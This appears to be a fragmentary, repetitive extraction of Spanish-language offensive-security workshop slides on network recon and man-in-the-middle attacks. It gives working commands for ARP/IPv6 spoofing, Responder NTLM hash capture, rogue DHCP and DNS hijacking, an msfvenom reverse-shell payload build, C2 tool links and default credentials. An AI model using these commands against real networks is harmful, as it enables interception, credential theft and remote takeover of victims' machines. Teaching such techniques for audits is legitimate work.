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$ whoami

mailto:jomoza@memeware.net
https://loveisinthe.net
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LOVE IS IN THE NET
WUPS - Mod.0 I



MODULO 0 - LINUX, DEV AND NETWORKING

MODULO TAL        - Hacer:













MODULO REDES

- https://wiki.wireshark.org/DisplayFilters 

kali@kali$ sudo tshark -f "ether proto \arp" -Tfields -e 

arp.src.proto_ipv4 -e arp.src.hw_mac -e arp.dst.proto_ipv4 -e 

arp.dst.hw_mac

MODULO 0 - NETWORKING

https://wiki.wireshark.org/DisplayFilters


MODULO REDES
 
kali@kali$ sudo tshark  -f "src port 53" -n -T fields -e dns.qry.name -e dns.a

MODULO 0 - NETWORKING



https://github.com/swisskyrepo/PayloadsAllTheThings/ 

MODULO 0 - NETWORKING

https://github.com/swisskyrepo/PayloadsAllTheThings/




┌[jomoza@notyourdevice] [/dev/pts/3]
└[~]> sudo netdiscover -i wlan0

NETWORK RECON. - ARP :: Netdiscover



#use -Pn option if you're getting nothing in scan

$> sudo nmap -sV -p 443 192.168.50.124 

#running banner grabbing of port 443

POWERSHELL

$> Test-NetConnection -Port <port> <IP>   #powershell utility

$> 1..1024 | % {echo ((New-Object 
Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 
2>$null #automating port scan of first 1024 ports in powershell

NETWORK RECON. - ARP :: Banner Grabbing



Un proxy es un servidor intermedio que actúa como intermediario entre un cliente y un servidor final. 
Su función principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del 
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propósitos, como mejorar la 
seguridad, el rendimiento o el acceso a recursos en línea.

Un tipo de proxy muy común es el "proxy SOCKS" (abreviatura de "SOCKetS"), que permite a un cliente 
(generalmente un programa o una computadora) establecer una conexión a través de un servidor proxy. 
Esto puede usarse para ocultar la dirección IP real del cliente, acceder a contenido bloqueado 
geográficamente o para mejorar la seguridad en línea.

- El comando SSH que mencionaste: "ssh -D <PUERTO> <IP>" se utiliza para configurar un proxy 
SOCKS utilizando SSH. Aquí está cómo funciona:

● <PUERTO> es el puerto en el que se configurará el proxy SOCKS en tu máquina local.
● <IP> es la dirección IP del servidor remoto (en este caso, un VPS) al que te estás conectando 

a través de SSH.

INTRODUCTION : PROXY



INTRODUCTION : PROXY AS BYPASS 

https://translate.google.co
m/translate?sl=en&tl=es&h
l=es&u=https://digitechfp.c
om&client=webapp 

https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp


nmap -sS -T4 -S 192.168.1.79 -e eth0 192.168.1.78

Nuestro siguiente escaneo es donde vemos que tiene lugar el IP spoofing.  Lo que está sucediendo aquí es que estamos 
enviando paquetes a nuestra máquina de destino y ponemos en el paquete que estamos enviando una IP de origen de una 
máquina diferente.



WELCOME MALCOM
WUPS - Mod. 2. Men in the Middle



MITM

Un ataque "MITM" (Man-in-the-Middle) es un tipo de tecnica de seguridad ofensiva en el que un 
atacante se coloca deliberadamente entre dos partes que están tratando de comunicarse, 
interceptando y, a menudo, modificando la información que se intercambia entre ellas. Este tipo 
de ataque puede tener graves implicaciones para la seguridad de la red y la privacidad de las 
comunicaciones. En el contexto de una auditoría de seguridad de redes, el objetivo es identificar 
y mitigar posibles vulnerabilidades que podrían permitir que un atacante realice un ataque 
MITM.

Supongamos que el auditor está realizando una auditoría en una red corporativa y desea evaluar la 
vulnerabilidad del tráfico entre un usuario (Usuario A) y el servidor de correo electrónico. El auditor identifica la 
dirección IP de Usuario A y el servidor de correo electrónico y ejecuta una herramienta como Ettercap o 
ARPspoof para enviar tramas ARP falsas que asocian su propia dirección MAC con la dirección IP de Usuario A.

Cuando Usuario A intenta comunicarse con el servidor de correo electrónico, el tráfico pasa a través del sistema 
del auditor. El auditor puede capturar y analizar el tráfico para demostrar cómo un atacante podría interceptar 
datos confidenciales, como credenciales de inicio de sesión o contenido de correo electrónico.



MITM

● ARP Spoofing (Intercepción ARP): Este es uno de los escenarios más comunes en un ataque MITM. El 
atacante envía tramas ARP falsas en la red para asociar su propia dirección MAC con la dirección IP de la 
víctima, lo que le permite interceptar y redirigir el tráfico destinado a la víctima.

● Intercepción de Tráfico HTTP: Un atacante puede interceptar el tráfico HTTP entre un usuario y un 
servidor web. Esto puede permitir la captura de credenciales de inicio de sesión y otros datos sensibles.

● SSL Stripping: Este ataque implica la eliminación forzada de la capa de seguridad SSL/TLS de las 
conexiones seguras, lo que permite que el atacante pueda acceder a la información transmitida de forma 
cifrada.

● DNS Spoofing: Un atacante puede manipular las respuestas del servidor DNS para redirigir a las víctimas a 
sitios web maliciosos o falsificados

● Ataques a Redes Wi-Fi Abiertas: En redes Wi-Fi públicas o abiertas, un atacante puede configurar un punto 
de acceso Wi-Fi falso para interceptar el tráfico de los usuarios que se conectan a esa red.

● Ataques en Correos Electrónicos: En el contexto del correo electrónico, un atacante podría interceptar o 
manipular mensajes y archivos adjuntos en tránsito.





MORE IN THE MIDDLE THAN A THURSDAY
RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener 
los hashes NTLM de las contraseñas de los usuarios. 

La herramienta funciona engañando a los dispositivos de la red para que se autentiquen con la 
herramienta. El ataque aprovecha las debilidades en la implementación del protocolo NTLMv1/v2 
de Microsoft para forzar la autenticación a través de la herramienta y obtener los hashes 
NTLM de las contraseñas de los usuarios en la red.

$ responder -I eth0



MORE IN THE MIDDLE THAN A THURSDAY
RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener 
los hashes NTLM de las contraseñas de los usuarios. 

La herramienta funciona engañando a los dispositivos de la red para que se autentiquen con la 
herramienta. El ataque aprovecha las debilidades en la implementación del protocolo NTLMv1/v2 
de Microsoft para forzar la autenticación a través de la herramienta y obtener los hashes 
NTLM de las contraseñas de los usuarios en la red.

$ responder -I eth0

https://github.com/Greenwolf/ntlm_theft 

https://github.com/Greenwolf/ntlm_theft


MORE IN THE MIDDLE THAN A THURSDAY
CUANDO UN DISPOSITIVO EN UNA RED IPV6 NECESITA RESOLVER UN NOMBRE DE DOMINIO, ENVÍA UNA 
CONSULTA DE DNS EN MULTICAST A TODOS LOS DISPOSITIVOS DE LA RED LOCAL. ESTO SIGNIFICA QUE 
CUALQUIER DISPOSITIVO EN LA RED PUEDE RESPONDER A LA CONSULTA Y PROPORCIONAR UNA DIRECCIÓN IP 
FALSA, LO QUE PERMITE A UN ATACANTE REALIZAR ATAQUES DE PHISHING, REDIRECCIONAMIENTO DE 
TRÁFICO Y OTROS TIPOS DE ATAQUES MITM.

MITM6 ES UNA HERRAMIENTA DE CÓDIGO ABIERTO QUE SE UTILIZA PARA REALIZAR ATAQUES DE TIPO 
MAN-IN-THE-MIDDLE (MITM) CONTRA REDES IPV6. LA HERRAMIENTA SE ENFOCA EN EXPLOTAR DEBILIDADES 
EN LA IMPLEMENTACIÓN DEL PROTOCOLO DE RESOLUCIÓN DE NOMBRES DE DOMINIO (DNS) EN ENTORNOS DE 
RED IPV6.

MITM6 APROVECHA ESTA DEBILIDAD EN LA IMPLEMENTACIÓN DEL PROTOCOLO DE RESOLUCIÓN DE NOMBRES DE 
DOMINIO EN REDES IPV6 PARA REALIZAR UN ATAQUE MITM Y REDIRIGIR EL TRÁFICO DE RED DE LAS 
VÍCTIMAS A TRAVÉS DE UN SERVIDOR CONTROLADO POR EL ATACANTE. LA HERRAMIENTA INTERCEPTA LAS 
SOLICITUDES DE DNS REALIZADAS POR LOS DISPOSITIVOS EN LA RED Y LAS RESPONDE CON RESPUESTAS 
FALSAS QUE CONTIENEN DIRECCIONES IP CONTROLADAS POR EL ATACANTE.

$ sudo mitm6 -i eth0

$ responder -I eth0 -wFv



BLEACH.local : FIRST ACCESS : HTLMv2 HASH   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   

1. ifconfig eth0

2. echo 1 > /proc/sys/net/ipv4/ip_forward

3. ifconfig eth0:1 192.168.1.11 netmask 255.255.255.0

4. route add default gw 192.168.137.1 eth0:1 (control via 'route -n')

5. msfconsole -q -x 'use auxiliary/server/dhcp' 

6. Adjust the config as you like (see options)

    > set srvhost 192.168.13.37 ( IP address of the DHCP server ) 

    > set netmask 255.255.255.0 ( subnet mask ) 

    > set router 192.168.13.1 (default gateway of the DHCP lease) 

    > set dnsserver 192.168.1.47 (DNS server of the DHCP lease)



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



sudo dnschef -i 10.10.0.105 

DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



https://github.com/sensepost/berate_ap 

I <3 MANA ATTACK 

https://github.com/sensepost/berate_ap


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

https://github.com/IncideDigital/Mistica 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

root@be3c12039daf:/opt/Mistica/Mistica# 
pip install pyinstaller

https://www.python.org/downloads/r
elease/python-370/ 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://www.python.org/downloads/release/python-370/
https://www.python.org/downloads/release/python-370/


COMUNICATE TO PWN :: C2 CHANELS



COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

root@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) 
-b "\x00\x0a\x0d" -f c -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe > 
reverse.exe
https://github.com/IncideDigital/Mistica 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

root@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) 
-b "\x00\x0a\x0d" -f c -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe > 
reverse.exe
https://github.com/IncideDigital/Mistica 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica


MUGEN M.I.T.M.



https://4it.me/getlistip?cityid=5005 

HUNTING RANGES

https://www.proxynova.com/ip-ranges/ 

https://4it.me/getlistip?cityid=5005
https://www.proxynova.com/ip-ranges/


[+] COMMON PORTS 
[!] (Common routers web service) → 80 443 8080 8008 8443 4444 
[!] (Common proxies) → 8001 8002 8003 8004 8005 8006 8007 8009 
8081 8082 8083 8084 8085 8086 8087 8088 8089 9001 
[!] (Admin services) → 10000 10001 10443 
[!] (Cameras and other aplications ) → 1080 666 445 3128 6588 1241 2082 
…

[!] Credencials
admin:1234, admin:admin, root:toor, guest:guest, cisco:cisco…

[!] Banner Grabbing Fabricant banning - Movel, versions… 
[!] Scraping

- Authenticated Scraping (!)
Regex (SSID, ESSID, Wireless config, Network config… )











root@mmchns23-vrt# ./dnschef.py --fakeip 
127.0.0.1 --fakeipv6 ::1 --fakemail 
mail.fake.com --fakealias www.fake.com 
--fakens ns.fake.com -q
    [*] DNSChef started on interface: x.x.x.x 
    [*] Using the following nameservers: 
8.8.8.8
    [*] Cooking all A replies to point to 
127.0.0.1
    [*] Cooking all AAAA replies to point to 
::1
    [*] Cooking all MX replies to point to 
mail.fake.com
    [*] Cooking all CNAME replies to point to 
www.fake.com
    [*] Cooking all NS replies to point to 
ns.fake.com
    [00:17:29] 127.0.0.1: cooking the response 

of type 'ANY' for google.com with all known 

fake records.

https://github.com/iphelix/dnschef 

     _                _          __ 
     | | version 0.4  | |        / _|
   __| |_ __  ___  ___| |__   ___| |_ 
  / _` | '_ \/ __|/ __| '_ \ / _ \  _|
 | (_| | | | \__ \ (__| | | |  __/ |  
  \__,_|_| |_|___/\___|_| |_|\___|_|

       D O C U M E N T A T I O N

MASSIVE ROGE DNS HIJACKING

http://www.fake.com/
http://www.fake.com/
http://www.fake.com/
https://github.com/iphelix/dnschef
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